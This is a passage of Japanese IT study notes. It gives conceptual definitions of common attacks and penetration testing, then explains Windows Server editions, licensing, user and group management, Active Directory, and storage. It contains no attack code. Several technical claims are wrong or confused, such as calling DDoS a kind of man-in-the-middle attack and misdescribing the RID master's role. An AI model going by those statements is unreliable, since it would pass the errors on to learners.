通常、トロイの木馬はパッケージ化されて正規のソフトウェア内に配信され、多くの場合、被害者を監視したりデータを盗んだりするように設計されている。

キーロガ

キーロガはコンピュータ上で行われるすべてのキーストロークを記録する悪意のあるソフトウェアのこと。 キーロガーはスパイウェアの一種で、被害者を監視するように設計されたマルウェア。キーロガーは入力されたものをすべてキャプチャできるため、最も侵入的な形式のマルウェアの 1 つといえる。

キーロガーには主にソフトウェアとハ​​ードウェアの2つのタイプがある。

10.1.3. その他の脅威や攻撃

ソーシャルエンジニアリング

ソーシャルエンジニアリングは、心理学的手法を使用して行動を操作すること。ソーシャルエンジニアリングは、人的ミスを悪用し、被害者に自分の利益に反する行動を促すことによって行われる。

情報セキュリティにおけるソーシャル エンジニアリングの定義は、ログインの詳細や財務情報などの個人データをオンラインで漏洩させることを指す。

ソーシャルエンジニアリングの攻撃の1つにはフィッシングがある。

フィッシング

フィッシングはソーシャルエンジニアリング攻撃の一種で、通信が信頼できる送信元からのものであるかのように偽装されたメッセージから引き起こされる、個人情報や財務情報の漏洩を狙ったもの。

フィッシング攻撃は以下の3つの要素から構成される。

  1. 攻撃は電子メールや電話などの電子通信を介して行われる
  2. 攻撃者は、信頼できる個人または組織を装う
  3. 攻撃者の目的は、ログイン資格情報やクレジット カード番号などの機密の個人情報を取得すること

ブルートフォースアタック

ブルートフォース攻撃とは、ハッカーがコンピュータを利用した集中的な試行錯誤を通じてパスワードを解読しようとすること

ブルートフォースアタックではできるだけ多くのパスワードの組み合わせを試し、いずれかが機能することを狙う。

ブルートフォースアタックの種類には以下の種類がある。

  1. 単純攻撃
  2. 辞書攻撃
  3. ハイブリッド攻撃
  4. リバース攻撃
  5. クレデンシャルスタッフィング

レインボー攻撃

レインボー攻撃は特別なテーブル (「レインボー テーブル」) を使用してデータベース内のパスワード ハッシュを解読するパスワード クラッキング手法のこと。

レインボー テーブル自体は、認証プロセス中に使用される各プレーン テキスト文字のパスワード ハッシュ値を含む事前計算されたテーブルを指す。 ハッカーがパスワード ハッシュのリストにアクセスすると、レインボーテーブルを使用してすべてのパスワードを非常に迅速に解読する。

バッファオーバフロー攻撃

バッファオーバフローはデータ量がメモリ バッファの記憶容量を超えると発生し、原理としてはバッファにデータを書き込もうとするプログラムは、隣接するメモリ位置を上書きしてしまうことに起因する。

バッファオーバフロー攻撃ではアプリケーションのメモリを上書きすることプログラムの実行パスが変更され、ファイルが破損したり個人情報が漏洩したりする反応を狙う

攻撃者がプログラムのメモリ レイアウトを知っている場合、バッファに保存できない入力を意図的にフィードし、実行可能コードを保持する領域を上書きして、独自のコードに置き換えることができる。

なお、CやC++はメモリ内のデータの上書きやアクセスに対する保護機能が組み込まれていないため、バッファオーバフロー攻撃の影響を最も受けやすい言語といえる。

クロスサイトスクリプティング(XSS)

XSSはハッカーが正規の Web サイトに悪意のあるコードを挿入したときに発生する攻撃のこと。

XSS攻撃は、コードインジェクション攻撃の1種である。

クロスサイトリクエストフォージェリ(CSRF)

CSRFはエンド ユーザーが現在認証されている Web アプリケーション上で望ましくないアクションの実行を強制する攻撃のこと。

IPスプーフィング攻撃は

IPスプーフィングは偽の送信元アドレスを使用し、ハッカーはネットワーク上で信頼できるデバイスのように見せかけ、デバイスが自由に提供する機密情報を要求する可能性がある攻撃。

なお、IP アドレス スプーフィング攻撃は検出が難しい。 また中間者攻撃の種類にはDDos攻撃MITM攻撃がある。

DDoS攻撃

DDoS攻撃(分散型サービス拒否)はインターネット トラフィックを大量に送信して Web サイトやサーバーをクラッシュさせることを目的とした攻撃のこと。

DDoSでは複数のコンピュータを使用してサーバーに TCP および UDP パケットを大量に送信する。

MITM攻撃

MITM攻撃(中間者攻撃)は 2 つのデバイス間の通信を傍受し、IP パケットを静かに変更し 2 台のコンピュータ間の通信を傍受する攻撃のこと。

権限昇格

権限の昇格とは、ユーザーが資格のない権限を受け取ることを指す。 これらの権限は、ファイルの削除、個人情報の表示、ウイルスなどの不要なプログラムのインストールに使用される可能性がある。

権限昇格は以下の2種類の形式で行われる。

  • 垂直権限昇格 … 権限昇格とも呼ばれ、権限の低いユーザーまたはアプリケーションが、権限の高いユーザーまたはアプリケーション用に予約されている機能またはコンテンツにアクセスする
  • 水平的権限昇格 … 通常のユーザーが他の通常のユーザー向けに予約されている機能またはコンテンツにアクセスするもの

SQLインジェクション

SQLインジェクションは、ハッカーが独自のコードを Web サイトに挿入してセキュリティ対策を破り、保護されたデータにアクセスする秘密のタイプの攻撃

10.2. ペネトレーションテスト

10.2.1. 侵入テスト

侵入テスト(ペネトレーションテスト)はコンピュータ システムのセキュリティを評価するためにコンピュータ システムに対して実行される、許可された模擬攻撃のこと。

ペネトレーションテストでは、攻撃者と同じツール、テクニック、プロセスを使用して、システムの弱点がビジネスに与える影響を見つけて実証する。

侵入テストの種類

侵入テストには以下の3つの種類がある。

  • ブラックボックスペネトレーションテスト * テスターに​​会社名のみなど、最小限の情報が提供されるテスト
  • グレーボックスペネトレーションテスト * ターゲットとなる特定のホストやネットワークなど、もう少し詳しい情報がテスターに​​提供されるテスト
  • ホワイトボックスペネトレーションテスト * あらゆる種類の内部文書や構成計画などの情報が提供されているテスト

侵入テストのプロセス

侵入テストは通常以下のプロセスで実施される。

  1. 偵察
  2. スキャニング
  3. アクセス権の取得
  4. アクセス維持の確保
  5. 痕跡の消去

定番の侵入テストツール

侵入テストツールには以下のようなものがある。

  • Nmap … 開いているポートとサービスをスキャンできる
  • Metasploit … 脆弱性悪用ツール
  • WireShark … ネットワークからパケット データをキャプチャし、読み取り可能な形式にデコードできるネットワーク分析ツール
  • BurpSuite … Web アプリケーション セキュリティ テスト ツール

15 - Windows Server基礎

Windows Serverに関して

15.1 - 1.Windowsの基礎

Windowsのライセンスなどに関する説明

1.1. WindowsのクライアントOS

1.1.1. Windows OS(Home/Pro)

Windows OSは一般の家庭向け。基本的なユーザー向けのMicrosoftのOS。 Windows OSはHomeとProの2つのエディションがある。

Windows Homeの特徴

  • 一般の家庭向け。基本的なユーザー向け
  • 低価格

Windows Proの特徴

  • 小規模ビジネスやエンタープライズ環境向け
  • BitLocker機能がある
  • リモートデスクホストをサポートする
  • Homeより追加機能がある

1.2. Windows Server

1.2.1. Windows Serverとは

Windows Serverは企業や組織向けのサーバ環境を構築するためのOS。 Windows OSと異なり以下機能を提供する。

  • サーバ機能に特化
    • Active Directory、DNS、DHCP、ファイルサーバー、Webサーバーなど構築しやすい
  • リモートでの管理を強力にサポートしている
    • リモートデスクトップなどをサポート
  • 認証の管理が可能
    • ユーザのアカウントポリシ作成管理が可能
    • ダイナミックアクセス制御が可能
  • 仮想化ホストの作成が可能
  • 冗長化クラスタ構築対応

Windows Serverのエディション

ここではWindows Server 2022のエディションに関して記載する。

エディション対象対応状況制限仮想化対応説明
Essentials中小企業向け-2プロセッサ(4CPU), 最大25ユーザー/50デバイスなし管理機能や認証で制限あり
Standard---制限付き(2つまで)-
Datacenter大企業/データセンタ向け--無制限-
Datacenter:Azure---無制限Azure向けに最適化

ServerCoreとデスクトップエクスペリエンス

ServerCoreではデスクトップ画面が存在せず、PowerShellやコマンドラインで操作を行う。 デスクトップエクスペリエンスでは通常のWindows GUIのデスクトップ機能が搭載される。

なお、インストールの際にこのどちらかを選択できるが、インストール後に変更できない。

Windows Serverのシステム要件

ここではWindows Server 2022のエディションに関して記載する。

  • プロセッサ
    • 1.4GHz以上 64bitプロセッサ
    • x64命令セット対応
    • NX/DEPのサポート
  • メモリ
    • 最小512MB(:2GB)
    • ECC型もしくは同様のテクノロジ
  • 記憶域コントローラ/ディスク
    • システムパーティションに必要なディスク領域(32GB)
    • PCI Expressアーキテクチャ準拠
  • ネットワークアダプタ要件
    • GBit以上の処理が可能なEthernetアダプタ

1.2.2. Windows Serverの初期設定

基本的な設定は以下内容を実施する。

  1. インストール
  2. ネットワーク設定
  3. 時刻同期の設定
  4. コンピュータ名の設定
  5. ワークグループ/ドメインの設定
  6. リモート管理有効化
  7. リモートデスクトップ有効化
  8. 仮想メモリ(swap)の設定
    • 最小1XRAM,最大3XRAM程度
  9. Windows Updateの自動更新設定
  10. ライセンスの設定
  11. 追加の機能の設定(オプショナル)

1.2.3. Azureとの連携

Windows Server 2022ではAzureの各機能と連携できるように機能が拡張されている。

  • Azure Virtual Machinesの管理機能 * 物理サーバとAzure上の仮想マシンを集中管理できる
  • クラウドへのバックアップ機能 * Azure上のAzure BackUPの利用でWindows Serverのバックアップ/リストアが行える
  • Datacenter: Azure Editionの機能 * Azure用拡張ネットワーク機能 * ホットパッチ(再起動不要なセキュリティ更新プログラム更新) * SMB over Quic機能(VPN不要セキュアファイルサーバ接続)

1.3. Microsoftのライセンス

マイクロソフトではソフトウェア製品ライセンスの販売をしており、正式な利用にはこの2つの購入が必要で、この2つを入手して初めて所有権を得るモデルを採択している。

1.3.1. ライセンスプログラムの種類

大規模組織全体向けのライセンスプログラム

  • 組織向け
    • Enterprise Agreement
    • Open Value Subscription Agreement
  • 教育機関向け
    • Enrollment for Educaion Solutions
    • Open Value Subscription Agreement for Education Solutions
    • School Agreement

上記プログラムのメリットは以下の通り。

  • 組織全体で最新のソフトウェアを利用できる
  • 業務使用するソフトウェアの予算見積もりがしやすい
  • 一括購入と一元管理が行える
  • システム標準化とライセンス負荷軽減ができる
  • ライセンス数不足による不正利用リスクの軽減

必要なときに用意するライセンスプログラム

  • Microsoft Products and Services Agreement
  • Select Plus
  • Open Value Agreement
  • Open Lisence Agreement

これら(特に下2つ)は必要な数と期間のみライセンスを用意できるメリットがある。

その他のライセンスプログラム

  • 独自ニーズに応じたソリューションを導入するケース
    • Microsoft Cloud Agreement
  • 必要に応じたオンラインサービスをすぐに導入するケース
    • Microsoft Online Subscription Agreement

1.3.2. ライセンスモデル

サーバライセンス

サーバライセンスはサーバ自体の使用を許諾するライセンスサーバの物理コア単位で購入するためコアライセンスとも呼ばれる。

クライアントアクセスライセンス(CAL)

CALはデバイス/ユーザがサーバへ接続するために必要なライセンス。 サーバライセンスと別で用意する必要がある。

CALにはユーザCALとデバイスCALの2種類がある。

  • ユーザCAL
    • CAL割り当てユーザはLANで稼働するすべてのWindowsサーバにアクセスできる
    • 複数サーバにアクセスする際に使用する
  • デバイスCAL
    • デバイスからLANで稼働するすべてのWindowsサーバにアクセスできる
    • 1台のコンピュータから複数のサーバにアクセスする際に使用する

External connecterライセンス

External connecterライセンスはサーバに割り当てられるライセンス。 このライセンスで同じバージョンまたは以前のバージョンのサーバソフトに外部ユーザがアクセスできる。

ユースケースは多数の外部ユーザが社内サーバにアクセスするケースが想定される。

1.3.3. ライセンスモード

CALは使用するサーバと接続の種類により必要であるケースと必要でないケースに分かれる。 必要な場合は以下の通り。

  • 同時使用ユーザ数モード
  • 接続デバイス数/接続ユーザ数モード

同時使用ユーザモード

このモードは特定のサーバ/ソフトウェアに対する同時使用を許可するライセンスモード。 同時接続するクライアントコンピュータの数に合わせてCALを用意する必要がある。

クライアントが以下のケースで経済的となる。

  • 常にサーバに接続しない場合
  • すべてのクライアントが同時にサーバに接続しない場合

接続デバイス数/接続ユーザ数モード

このモードはクライアントコンピュータがNW上のすべてのWindowsサーバへ接続することを許可する。 サーバ/ソフトウェアに接続するすべてのデバイスとすべてのユーザの分だけCALが必要になる。

1.4. Windowsのお役立ち情報

1.4.1. Windowsの操作効率化

Windows+rによるファイル名を指定してプログラムを実行する際のTips。

Windowsの各種機能

ファイル名プログラム
gpedit.mscローカルグループポリシーエディター
regeditレジストリエディタ
mstsc.exeリモートデスクトップ
firewall.cplWindowsファイヤーウォール
secpol.mscローカルセキュリティポリシー
devmgmt.mscデバイスマネージャー
taskmgrタスクマネージャー
sysdm.cplシステムのプロパティ
controlコントロールパネル

標準アプリケーション

ファイル名プログラム
cmdコマンドプロンプト
powershellパワーシェル
calc電卓
explorerエクスプローラ

15.2 - 2.ユーザ管理とWindowsネットワーク

Windowsアカウント概念、ドメインネットワークに関する説明

2.1. Windowsのユーザ管理

2.1.1. ユーザの種類

ローカルユーザ

ローカルユーザはサーバやコンピュータ上に作成されるアカウントのこと。 権限の範囲内でコンピュータの機能を利用できる。

通常のユーザはアクセス制限が与えられることが一般的となる。 最初のサイン時にユーザプロファイルが生成されるため作業環境が用意される。

管理者

管理者はすべての権限とアクセス権を持つ

2.1.2. ローカルグループ

ローカルグループはローカルユーザが所属するグループで、同じ権限やアクセス許可を複数のユーザに設定する際に使用される。

2.1.3. ローカルユーザの種類

Administrator

サーバに対しフルの制御権を持つユーザアカウントでユーザやグループに権限を割り当てることが可能。

通常、サーバの構築時に作成されるローカルユーザとなる。

Guest

Guestはサーバ上にアカウントを持たないユーザや無効になっているユーザが一時的にサーバにサインインする際に存在するユーザ。 Guestは通常使用しないことが推奨されている。

2.1.4. ローカルグループの種類

Administrators

サーバに対しフルの制御権を持つグループ。

Users

一般的なサーバの機能を使用できる権限を持つグループ。 特徴は以下の通り。

  • アプリケーションの実行が可能
  • レジストリ変更やシステム/システムファイル変更はできない
  • サーバのシャットダウンができない
  • ローカルユーザ/ローカルグループの作成ができない

Guests

一次的なローカルユーザが所属するグループ ユーザプロファイルが保存されない特徴を持つ。

2.1.4. グループポリシー

ポリシーは新しく作成するローカルユーザ/ローカルグループに対して任意の権限を与えることができる権限のこと。

ローカルセキュリティポリシー

ローカルセキュリティポリシーはコンピュータのセキュリティに関する事項を設定する機能。 コンピュータの操作権限の制限やローカルユーザのアカウントの有効期限、パスワード長を指定できる。

  • パスワードポリシー * パスワードの有効期限/必要文字数などを指定できる
  • アカウントロックアウトポリシー * アカウントロックまでのサインイン失敗回数の設定ができる
  • 監査ポリシー * フォルダやファイルへのアクセスログ取得の有効/無効の設定が可能 * サーバへのサインインログ取得の有効/無効の設定が可能
  • ユーザ権利の割り当て * サーバへのサインインの許可設定 * システム時刻の変更許可 * システムのシャットダウンの許可
  • セキュリティオプション * Guestアカウントの使用許可 * パスワードの有効期限の事前警告表示

ローカルグループポリシーオブジェクト(LGPO)

ローカルグループポリシーオブジェクトは設定したローカルグループポリシーのこと。 ローカルグループポリシーはローカルセキュリティポリシーの一部

ローカルグループポリシーには多くの種類がある。

  • グループポリシーオブジェクト(GPO)
    • AD環境ではドメインに対しポリシを設定できる。ドメイン環境のポリシはグループポリシと呼ばれる
    • 設定したグループポリシはGPOと呼ばれる

グループポリシを設定するメリットは「環境制限によるセキュリティ強化」ができる点にある。

またグループポリシの適用順序は以下のように決まっている。

ローカルポリシー => サイトポリシー => ドメインポリシー => 親OU => 子OU

2.2. Windowsネットワーク

Windowsにおけるクライアントコンピュータとユーザ管理は「ワークグループによる分散管理」と「ドメインによる集中管理」の2種類存在する。

2.2.1. ワークグループ

ワークグループは同一ネットワーク上にあるWindowsコンピュータのグループ単位のこと。 メンバーとなる各Windowsコンピュータに同名称のワークグループを設定することでワークグループに参加できる。

ワークグループ

ワークグループでのネットワークアクセス

ワークグループにおいてユーザのパスワードやユーザ名などのユーザ情報は各コンピュータ上でそれぞれ管理している。 この状態は分散管理と呼ばれる。

2.2.2. ドメイン

Windowsにおけるドメインは同一ネットワーク上に存在するコンピュータや利用ユーザを一元管理する機能のこと。 ドメイン上にはドメインコントローラと呼ばれる管理サーバが少なくとも1台存在する。

ドメインネットワークはこのドメインコントローラにより管理される範囲のことを指す。

ドメインの参加には以下の方法がある。

  • ドメインコントローラ上でコンピュータを登録する方法
  • 参加するコンピュータかたドメインコントローラにアクセスして認証する方法

またドメインの使用するメリットは以下の通り。

  • 一元的なユーザの管理
  • 認証/承認の管理
  • セキュリティポリシーの一括管理
  • セキュリティ更新プログラムの配布

ドメインコントローラ

ドメインコントローラはドメインを管理するためのサーバのこと。 ドメイン内のユーザのログオン認証を行う。

ドメイン内にドメインコントローラが1つ以上存在することで機能を実現する。 ユーザアカウント/グループはドメインコントローラに登録されユーザはドメインコントローラにユーザ名とパスワードを送り認証する。 なお冗長化のためにドメインコントローラは複数用意できる。

ドメインでのネットワークアクセス

ドメインではすべてのユーザ情報はドメインコントローラ上のデータベースに登録され管理される。 この状態は集中管理と呼ばれる。

ドメインネットワークでは認証プロセスと承認プロセスがドメインコントローラ上で実行され、一元管理されたユーザ情報に基づきアクセスが可能になる。 シングルサインオン(SSO)でアクセスできる特徴がドメインネットワークにはある。

2.2.3. ドメインとワークグループの比較

一般的には少人数のユーザ環境で導入コストが低い場合はワークグループを、ユーザ数が多くユーザ管理を頻繁に行う環境ではドメインを利用することを検討するのが一般的となる。

項目ワークグループドメイン
導入コスト特別な準備は不要ドメインコントローラを用意する必要がある
ユーザ管理ユーザ登録変更はすべてのコンピュータで行う必要があるドメインコントローラにて集中管理を行う
セキュリティリソースへのアクセス権はそのコンピュータ上のみを対象とするドメインネットワーク全体から一部までリソースへのアクセス権を設定できる

15.3 - 3.ActiveDirectory

企業のドメインネットワークで使用されるActiveDirectoryの説明

3.1. Active Directoryの概要

3.1.1. ディレクトリサービス

ディレクトリサービスはネットワーク上に存在する様々なリソースや情報を一元管理し検索できるようにするためのサービスのことを指す。 ネットワーク上に存在するユーザ、グループ、マシン、プリンタ、共有ストレージなどオブジェクトの情報を管理する仕組みともいえる。

この機能によりデータやリソースがどのサービスで管理されているか考える必要なく利用ができる。

3.1.2. Active Directory

Active DirectoryはWindows Serverの機能として提供されるディレクトリサービスのこと。 ネットワーク上に存在するサーバ/クライアント、プリンタなどのハードウェア、それを利用するユーザ情報やアクセス権をADが持つデータベースに登録し一元管理できる。

ADではKeroberos認証というWindowsの最新バージョンのデフォルトの認証プロトコルを用いて、サーバにアクセスしたユーザとパスワードをデータベースと照合しアクセス権を与える認証と承認のプロセスを実行する。

またGPOと呼ばれる機能を用いてドメインネットワーク内のコンピュータ設定情報を定義しディレクトリに登録されたコンピュータに配布することができ、セキュリティの一元管理も行える。

3.2. Active Directoryの構造

3.2.1. ADのネットワーク範囲

Active Directoryのネットワーク範囲は物理構成に依存しない論理的領域として扱われる。 つまりADの影響範囲に登録すればネットワークの垣根(LAN構成)を超えてADネットワークの範囲で扱うことが可能となる。

3.2.2. ドメイン

ドメインはADの基本単位のことでユーザ/コンピュータを管理するディレクトリデータベースを共有する範囲のこと。 同じドメインに所属するすべてのサーバはそのドメインのユーザやコンピュータを識別し、サーバが提供するサービスを提供することができる。

ドメイン名

ADで使用するドメイン名はDNSのドメイン名に準拠し、DNSの命名規則に従いADドメインを割り当てる。

3.2.3. ドメインコントローラ

ドメインコントローラはADのディレクトリデータベースを管理するサーバのこと。 ADドメインサービスを構築する場合、最低1つのドメインコントローラがドメインネットワーク上に必要となる。

3.2.3. ドメインの信頼関係

ドメインの信頼関係は同組織に複数のドメインが存在する場合に、異なるドメインのユーザ/グループにもアクセス許可を設定したい際に結ぶ関係のこと。 信頼関係の概念には「信頼する側」と「信頼される側」があり、一方的な信頼関係御構築できる。 双方向で信頼関係を結ぶことで互いのユーザに対しアクセス許可もできる。

3.2.4. ドメインツリー

ドメインツリーは親ドメインの名前を継承した子ドメイン、孫ドメインといった名前空間を共有したADドメインの階層のこと。 ドメインツリーの構成のメリットは大規模のドメインネットワーク管理簡素化できる点にある。

またドメインツリーに参加しているドメイン間では双方向の信頼関係が結ばれる。

3.2.5. フォレスト

フォレストは1つ以上のドメインで構成されたADにおける最大管理単位のこと。 ドメインは必ずフォレストに所属する必要がある。

組織内に異なるルートドメインを持つドメインツリーが複数あり、それぞれのドメインツリーから他のドメインツリーにアクセスする際にアクセスできるようにすることが可能。 つまり同じフォレストにあるドメインツリーは互いに双方向の信頼関係が結ばれる。

3.2.6. サイト

サイトは組織内の物理的なネットワークにおける管理単位のこと。 複数の拠点に分かれたネットワークにドメインネットワークが存在する場合、拠点ごとにサイトを定義することでディレクトリデータベースの複製/認証トラフィックを最適化できる。

各サイトでは高速安定した通信が可能な1つのネットワーク解いて構成し、一般的にはLAN回線で構成されたネットワーク構成を1サイトとすることが多い。

認証トラフィック

認証トラフィックはログオン認証時に同一サイトのドメインコントローラを優先して使用するネットワークトラフィックのこと。

複製トラフィック

他サイトへのディレクトリデータベース複製の間隔を広く取り、他のネットワークトラフィックへの影響を最小限にするネットワークトラフィック。

3.3. Active Directoryの構成と機能

ADには様々な構成と機能があり、Active Directory管理センタというツールで管理を行える。

3.3.1. Active Directoryオブジェクト

ADオブジェクトはActive Directoryで管理できる情報の最小単位のこと。 オブジェクトにはプロパティと呼ばれる属性がいくつか定義されており、関連付けられた情報をまとめて扱うことができる。 例えば以下のようなものがある。

  • ユーザ名
  • 氏名
  • 部署
  • 役職
  • 電話番号

オブジェクトにはOU(組織単位)とコンテナオブジェクトと呼ばれる他のオブジェクトを入れ子にできるものが存在する。

項目コンテナオブジェクトOU
種類Users,Computersなどがある
特徴新たに作成が行えない新たに作成でき、階層構造を構成できる
GPOの適用不可可能

コンテナオブジェクトの種類

種類説明
Userリソースに対する権限を割り当てることができる(People, Serviceの2種類)
Machine通常のユーザーと同様にアカウントが割り当てれる
Security Groupファイルやその他のリソースへのアクセス権を設定できる

OU

OUは同様のポリシング要件を持つユーザーのセットを定義するために使用できるオブジェクトのこと。 なおユーザーは一度に1つのOUのメンバーになることしかできない。

デフォルトではドメインコントローラがOUとなる。 また特徴は以下の通り。

  • 管理者が自由に作成可能
  • グループポリシーをリンクできる
  • 下位にOUを作成して階層構造にできる
  • 特定のユーザ/グループに管理を委任できる

3.3.2. Active Directoryスキーマ

ADスキーマはActive Directoryのディレクトリデータベースを定義したもののこと。 スキーマにはコンピュータ、ユーザ/グループ、プリンタなどのADに格納されるオブジェクトテンプレートが含まれる。

なおADでは同一フォレスト上に1つのスキーマセットしか維持できない特徴がある。 ADオブジェクトはADスキーマで定義されるクラスをベースに生成される。

3.3.3. グローバルカタログ(GC)

グローバルカタログはフォレスト内の全オブジェクトから頻繁に参照される属性情報を抽出したものでADスキーマにより定義される。

グローバルカタログサーバ

グローバルカタログサーバはグローバルカタログを保持するサーバのこと。 ログオフ時の所属するグループの確認/オブジェクト検索に使用され、フォレスト内の全ドメインにまたがるオブジェクトの情報を保持する。

またADを構築した場合、デフォルトでは最初に生成されたフォレストのドメインコントローラがグローバルカタログサーバとして構築されるが、規模が大きい場合は耐障害性を持たせるため複数のグローバルカタログサーバを別で用意することが推奨される。

3.3.4. 操作マスタ(FSMO)

操作マスタはドメインコントローラの1つで複数のドメインコントローラで処理すると不都合が発生する処理や効率の悪い処理を専任で行うドメインコントローラのこと。 これは同一ドメイン内のドメインコントローラは同一データベースを共有/保持し同等の役割を持つが、整合性を維持するためにFSMOを設けるというわけになる。

操作マスタが担う役割は以下の5つ。

  • スキーママスタ * フォレストにおいてADデータベーススキーマの変更を担う
  • ドメイン名前付けマスタ * フォレストに対しドメインの追加/削除を担う
  • RIDマスタ * DCはユーザ/グループを作成時にSIDを割り当てるがRIDマスタはSIDの再割り当てを行う
  • PDCエミュレータ * パスワードの変更管理/グループポリシ管理の役割を担う * Windows NT時代のPDCの代用
  • インフラストラクチャマスタ * ドメイン内でユーザやグループといったオブジェクトの変更処理を担う

3.3.5. 読み取り専用ドメインコントローラ(RODC)

読み取り専用ドメインコントローラは読み取り権限のみを付与したドメインコントローラのこと。 読み取り専用ドメインコントローラを設置するケースは本部と支部が物理的に距離がある場合にその拠点に管理者が不在の場合に設置することが多い。

3.3.6. 異なるバージョンのWindows Serverが混在する場合のAD管理

Active Direcoryの機能レベル

異なるバージョンのWindows Serverが混在してADを構築する場合、フォレストやドメインに対し機能レベルを設定することで全体で利用可能な機能を統一し、AD/サーバの動作を統一できる。

Windows Server 2022には「ドメイン機能レベル」「フォレスト機能レベル」があり、Windows Server 2016の機能レベルが設定できる最上位の機能レベルとなる。 2022の場合は以下の5つのバージョンに機能レベルが対応している。

  • Windows Server 2008/2008 R2
  • Windows Server 2012/2012 R2
  • Windows Server 2016

3.4. Active Directoryのユーザ/グループ

3.4.1. ドメインユーザアカウント

ドメインユーザアカウントはドメインコントローラ上で作成/管理されるユーザアカウントのこと。 ドメインを使用したログインではコンピュータ別々で保持するローカルユーザは使用しないのが基本となる。

3.4.2. グループ

ADにおけるグループは複数のオブジェクトをメンバとしてまとめたオブジェクトを指す。 これは特定の共有フォルダにアクセス権を与える場合などに、個々のユーザに設定するのではなくグループに設定することで、管理を容易化できるというものである。

なおドメインで使用するグループはドメインコントローラ上で作成/管理する。

グループの種類

  • セキュリティグループ * リソースへのアクセス権を割り当てるためのグループ
  • 配布グループ * 電子メールアプリを使用してメンバに電子メールを送信する配布リストとして使用するグループ

セキュリティグループのスコープの種類

セキュリティグループにはスコープと呼ばれる適用範囲があり、以下の種類が存在する。

  • ドメインローカル * セキュリティグループを作成したドメイン内のリソースに対するアクセス許可を指定できる
  • グローバル * フォレスト内のリソースに対するアクセス許可を指定するために使用できる * グループと同じドメイン内のオブジェクトをメンバとして追加できる
  • ユニバーサル * フォレスト内のリソースに対するアクセス許可を指定するために使用できる * フォレスト内のオブジェクトをメンバとして追加できる

3.4.3. ユーザプロファイル

ユーザプロファイルはユーザごとのデスクトップ環境をひとまとまりにしたもの。 ユーザが作成したファイル/フォルダ、アプリの設定などが含まれる。

ユーザプロファイルの種類

  • ローカルユーザプロファイル * コンピュータ内のデータ領域に保存 * 設定を行ったコンピュータのみにプロファイル情報が適用される
  • ドメインユーザプロファイル * 固定ユーザプロファイル * ユーザ/グループ全体共通の設定を行うためのプロファイル * 移動ユーザープロファイル * ドメイン内のどのコンピュータを使用してもプロファイルを利用できる * サーバ上に保存
  • 一時ユーザプロファイル * ユーザプロファイルが読み込めないときなどに使用される一時ユーザプロファイル * 各セッション終了時に削除される

3.4.4. 既定のユーザ/セキュリティグループ

既定のユーザ

既定のユーザはADのインストール/設定を行い、ドメインが作成されるときに自動生成される組み込みのユーザアカウントのこと。 既定のユーザはドメインのUsersコンテナに格納される。

  • Administrator
    • ドメインのフルコントロール権限を持つ
    • 全ユーザに対し権限割り当てが可能
  • Guest
    • ドメイン上にアカウントを持たない利用者などが一時使用できるアカウント
    • 既定では無効になっている(匿名アクセスを許可してしまうため)

既定のセキュリティグループ

既定のセキュリティグループはADのインストール/設定を行い、ドメインが作成されるときに自動生成される組み込みのセキュリティグループのこと。 既定のセキュリティグループはドメインのUsersコンテナに格納されるものとBuiltinsコンテナに格納されるものがある。

  • 「Buildtins」コンテナのグループ
    • Administartors
      • ドメインのフルコントロール権限を持つ
      • 全ユーザに対し権限割り当てが可能
    • Account Operators
      • ドメインのアカウント管理権限を持つ
    • Server Operators
      • ドメインコントロールの管理権限を持つ
      • 共有リソースの作成削除、サービスの停止開始、ファイルのバックアップ、システムシャットダウンなどができる
    • Users
      • アプリケーションの実行、ネットワーク/プリンタの使用など通常作業が行える
    • Guests
      • Usersと同様の権限を持つ
  • 「Users」コンテナのグループ
    • Domain Admins
      • ドメインのフルコントロール権を持つ
      • デフォルトでAdministratorが所属している
    • Enterprise Admins
      • フォレスト内のルートドメインのみに存在
      • フォレスト内の全ドメインに対するフルコントロール権を持つ
      • デフォルトでフォレスト内のルートドメインのAdministratorのみが所属している
    • Schema Admins
      • フォレスト内のルートドメインのみに存在
      • ADのスキーマの変更権限を持つ
      • デフォルトでフォレスト内のルートドメインのAdministratorのみが所属している
    • Domain Computers
      • ドメインコントローラ以外のドメインに参加している全コンピュータ(サーバ含む)が参加できるグループ
      • ドメインに登録されたコンピュータは全部自動的にここに入る
    • Domain Users
      • ドメインの一般ユーザが所属するグループ
      • ADに追加されたユーザアカウントは自動的にここに入る
    • Domain Guests
      • Guestが所属するグループ
    • Key Admins
      • ドメイン内のオブジェクトのキー情報を管理する権限が付与
    • Enterprise Key Admins
      • フォレスト内のオブジェクトのキー情報を管理する権限が付与

3.5. Active Directoryのコンポーネント

3.5.1. Active Directory証明書サービス(AD CS)

ADはプライベート認証局(CA)として機能を持たせることが可能で、AD DSと連携してエンタープライズCAとして構築できる。 エンタープライズCAのインストールにはDomain Adminsのグループメンバーである必要がある。

AD CSで構築した認証局は以下のタスクを実行できる。

  • 証明書の発行
  • 証明書が不正でないか確認
  • 失効した証明書の管理

3.5.2. Active Directoryフェデレーションサービス(AD FS)

AD FSでは通常のADを利用しているときと同じように、最初のログオンのみで外部サービスへアクセスできる。

3.5.3. Active Directoryライトウェイトディレクトリサービス(AD LDS)

AD LDSはAD DSに依存することなくディレクトリ対応アプリをサポートするサービス。 なおプロトコルはLDAPを使用する。

3.5.4. Active Directoryライトマネジメントサービス(AD RMS)

AD RMSはWord,Excelなどのオフィスドキュメントや電子メールを保護する機能を提供するサービス。 これにより許可されたユーザのみがドキュメントを利用することができる。

3.6. ドメインコントローラのバックアップ/リストア

3.6.1. バックアップ

ADのバックアップは「サーバーマネージャーの役割と機能」=>「Windows Server バックアップ」で設定できる。 なお、ADのバックアップ有効期限は規定では180日になっている。

3.6.2. リストア(復元)

ADのリストアには「ディレクトリ復元モード」でドメインコントローラにログオンする必要がある。 ログオン後リストアするには以下方法が使用できる。

非Authoritative Restore

データベースが破損した場合などに使用される一般的なリストア方法。

Authoritative Restore

削除されたオブジェクトを復元する際に使用される。

15.4 - 4.ストレージと共有フォルダ

Windowsのストレージ管理と共有フォルダに関して

4.1. ストレージの基礎知識

4.1.1. HDD/SSD

HDD

HDDは大容量データや頻繁な書き込みを行わないバックアップとしてよく使用される記憶装置。
物理的な駆動部分が多いため故障する確率が高い特徴がある。

HDDの構造は本体の中にプラッタと呼ばれる円盤があり、ハードディスクドライブと呼ばれる。
このプラッタは磁性体が塗られており、これに磁気ヘッドで磁気を与えることで読み書きを行う。

SSD

SSDはフラッシュメモリとコントローラチップで構成されており、電気信号で読み書きを行う記憶装置。
物理的な駆動を共わないなめ衝撃に強く高速に読み書きが行える特徴がある。

OSの起動ディスクや高速な読み書きが必要なデータの保存先に適している。

